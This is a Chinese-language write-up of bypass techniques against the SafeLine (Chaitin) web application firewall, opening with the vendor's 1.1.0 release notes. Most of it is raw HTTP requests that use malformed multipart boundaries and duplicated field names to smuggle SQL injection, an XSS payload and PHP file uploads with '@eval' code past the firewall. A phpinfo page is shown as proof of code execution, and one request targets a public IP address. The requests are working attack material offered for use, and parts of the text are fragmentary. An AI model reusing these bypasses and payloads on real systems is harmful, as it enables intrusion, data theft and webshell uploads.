

长亭WAF 通用绕过

期初:

32 minutes ago

zclaiqcc

v1.1.0

c7f8785

Compare

SafeLine-CE 1.1.0

Latest

新增

- 默认开启高防模式，高中低危全拦截，**不服来绕过**
- 支持根据 IP 和 URL 特征配置黑白名单

优化

- 支持在日志详情中展示响应报文
- 服务器时间不准导致 TOTP 无法登录时增加了提示语
- 修复了上游服务器填 HTTPS 时端口解析不正确的问题
- 优化了 SSL 上传逻辑，体验更好

XSS、SQL 注入

#拦截

```
POST /66.php HTTP/1.1
Host: dddd.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/11.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25JbUkhqn68vuGmO
Content-Length: 325
```

```
-----WebKitFormBoundary25JbUkhqn68vuGmO
Content-Disposition: form-data; name="file"
```

```
1' union select 1, column_name from information_schema.columns where table_name=
"users" #
```

```
-----WebKitFormBoundary25JbUkhqn68vuGmO
Content-Disposition: form-data; name="submit"

Submit
-----WebKitFormBoundary25JbUkhqn68vuGmO--
```

绕过

```
POST /66.php HTTP/1.1
Host: dddd.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/11.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25JbUkhqn68vuGmO
Content-Length: 431

-----WebKitFormBoundary25JbUkhqn68vuGmO
Content-Disposition: form-data; name="data"

-----WebKitFormBoundary25JbUkhqn68vuGmO
Content-Disposition: form-data; name="data"; filename="11.png"

1' union select 1, column_name from information_schema.columns where table_name=
"users" #
-----WebKitFormBoundary25JbUkhqn68vuGmO
Content-Disposition: form-data; name="submit"

Submit
-----WebKitFormBoundary25JbUkhqn68vuGmO--
```

这里的绕过是通用绕过。不限于SQL注入什么的。但是这里会拦截PHP语法。

绕过PHP拦截语法的 这里修改file的参数。就是任意参数等于=

[illegible]

返回

```
Upload: "2;.php<br />Type: image/png<br />Size: 0.005859375 Kb<br />Temp file:
/tmp/phpn2xOMX<br />Stored in: upload/"2;.php
```


这样访问：<http://192.168.1.72/upload/%22;.php>

如果想代码执行。可以通过php8 语法绕过他那个PHP 语法检测

→ ↺ ⚠ 不安全 | 192.168.1.72/upload/2.php


🔍 📄 ⭐ 🌐 🏠 📧 📱 📺 📶 📷 📹 📺 📷 📹 📺 📷 📹

PHP Version 8.0.25



System	Linux localhost.localdomain 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
Build Date	Dec 1 2022 11:42:26
Build System	Linux localhost.localdomain 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Configure Command	./configure '--prefix=/www/server/php/80' '--with-config-file-path=/www/server/php/80/etc' '--enable-fpm' '--with-fpm-user=www' '--with-fpm-group=www' '--enable-mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-iconv-dir' '--with-freetype' '--with-jpeg' '--with-zlib' '--with-libxml-dir=/usr' '--enable-xml' '--disable-rpath' '--enable-bcmath' '--enable-shmop' '--enable-sysvsem' '--enable-inline-optimization' '--with-curl' '--enable-mbregex' '--enable-mbstring' '--enable-intl' '--enable-ftp' '--enable-gd' '--with-openssl' '--with-mhash' '--enable-pcntl' '--enable-sockets' '--with-xmllib' '--enable-soap' '--with-gettext' '--disable-fileinfo' '--enable-opcache' '--with-sodium=/usr/local/lib/sodium' '--with-webp' 'PKG_CONFIG_PATH=/usr/local/opt/lib/pkgconfig:/usr/local/lib/sodium/lib/pkgconfig'
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/www/server/php/80/etc
Loaded Configuration File	/www/server/php/80/etc/php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20200930
PHP Extension	20200930
Zend Extension	420200930
Zend Extension Build	API420200930.NTS
PHP Extension Build	API20200930.NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	enabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filters	zlib.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, convert.*, consumed, dechunk

This program makes use of the Zend Scripting Language Engine:



绕过任意php文件后缀

```
POST /66.php HTTP/1.1
Host: dddd.com
Connection: close
Content-Length: 912
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUoVfAybuaB4JmHGR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/11.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

-----WebKitFormBoundaryUoVfAybuaB4JmHGR
Content-Disposition: form-data; name="file\"
```



```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.71/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

-----WebKitFormBoundaryBC2EsA8ezD09dMeI
Content-Disposition: form-data; name="file"; filename="cookie.png"
Content-Type: image/png

1231231111111111
-----WebKitFormBoundaryBC2EsA8ezD09dMeI
Content-Disposition: form-data; name="data"
1111
-----WebKitFormBoundaryBC2EsA8ezD09dMeI--

1' union select 1,2,34 --
```

SQL 注入绕过

```
POST /sqli.php HTTP/1.1
Host: 47.104.6.229
Content-Length: 230
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.71
Content-Type: multipart/form-data; boundary=-----WebKitFormBoundary9HYza0QzscKeza7L
Content-Type: application/x-www-form-urlencoded;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.71/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

-----WebKitFormBoundary9HYza0QzscKeza7L
Content-Disposition: form-data; name="data"

-----WebKitFormBoundary9HYza0QzscKeza7L
1"><script>alert(1)</script> union select 1,2,4 --
```



```
-----WebKitFormBoundary9HYza0Qzsckeza7L--
```

SQL 注入

```
POST /sql.php HTTP/1.1
Host: 47.104.6.229
Content-Length: 205
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.71
Content-Type: multipart/form-data; boundary=name=
Content-Type: application/x-www-form-urlencoded;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.71/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

--name=
Content-Disposition: form-data; name="data"

1 and 1=2 union select 1,2,(select column_name from information_schema.columns where
TABLE_SCHEMA='web' and TABLE_NAME='flag' LIMIT 1) --
--name=--
```

长亭WAF 任意文件上传

```
POST /sql.php HTTP/1.1
Host: 47.104.6.229
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dddd.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
```

```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dddd.com/11.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: multipart/form-data; boundary=aaa
Content-Length: 245

--aaa
Content-Disposition: form-data; name="file"; filename="11.php"
Content-Type: image/png

--aaa--
11111111111111111111111111111111111111111111111111111---aa--
<?php #--aa-- phpinfo("#--aaa--")
@eval("phpinfo()");#----
--aaa--?>
--aaa--
```

```
POST /sqli.php HTTP/1.1
Host: 47.104.6.229
Content-Length: 136
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.72
Content-Type: multipart/form-data; boundary===
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.72/runoob-file-upload-demo/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

--==
Content-Disposition: form-data; name="file"; filename="222.php"
Content-Type: image/png

<?php @eval("phpinfo()");?>

--==--
```

